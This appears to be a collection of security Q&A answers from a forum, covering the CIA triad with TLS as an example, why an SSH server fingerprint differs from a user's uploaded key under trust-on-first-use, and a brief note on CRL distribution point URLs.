Information security is composed of three primary concepts, together called the CIA triad. It stands for Confidentiality, Integrity, and Availability. Privacy itself is the act of maintaining the confidentiality of sensitive information, allowing it to be only shared with authorized parties. The violation of privacy would be a violation of confidentiality, in effect breaking security. Now, security implies privacy, but not necessarily the other way around. For example, you may be able to control the flow of your information so it does not fall into the wrong hands, but if someone is able to destroy or otherwise deny legitimate access to the information, they have violated availability, even if they are not privy to the sensitive content itself. This would break one aspect of security without breaking the rest.

A simple real-world example would be TLS, used to encrypt browsing traffic. TLS provides confidentiality (the data being transmitted cannot be viewed by unauthorized parties) and integrity (the data cannot be tampered with en route to its destination), but it does not provide availability. It is trivial to deny access to a TLS connection simply by mounting a denial of service attack, or even unplugging the modem. This would be a case where privacy cannot be violated, but availability is not at all guaranteed. Without availability, you have just lost a major requirement for security.


How to measure the integrity of the OS (Linux)?


When first connecting via SSH to my server, the reported fingerprint does not match that given to me when I generated the SSH key

There are two separate keys at play here:

Your personal client ssh key that you generated on your laptop, the private key is on your laptop, and therefore this key identifies that a connection is originating from your laptop.
The server's ssh key which was generated on the server during first-time boot (at least I assume so since you say you only uploaded a public key), the private key is on the server, and therefore this key identifies that the connection is terminating at your server.

Your core question seems to be: What does Digital Ocean do with the public key I uploaded during VM creation?

For an authoritative answer, you'd have to read Digital Ocean's documentation, but my guess is that they stick it in /home/user/.ssh/authorized_keys so that your public key (aka your laptop) is the only one that's allowed to connect to that machine. See this guide for more info.

To answer your 2nd and 3rd questions: ssh clients follow the Trust On First Use (TOFU) paradigm, and inherit all the strengths and weaknesses of it. It's not ideal, but it's probably at least as good as what would happen if you tried to switch ssh to certificates: half the ssh servers in the world would use the default cert that ships with openssh.


A cRLDistributionPoint is an URL so you can specify the HTTP port in it. And clients have to support it, of course.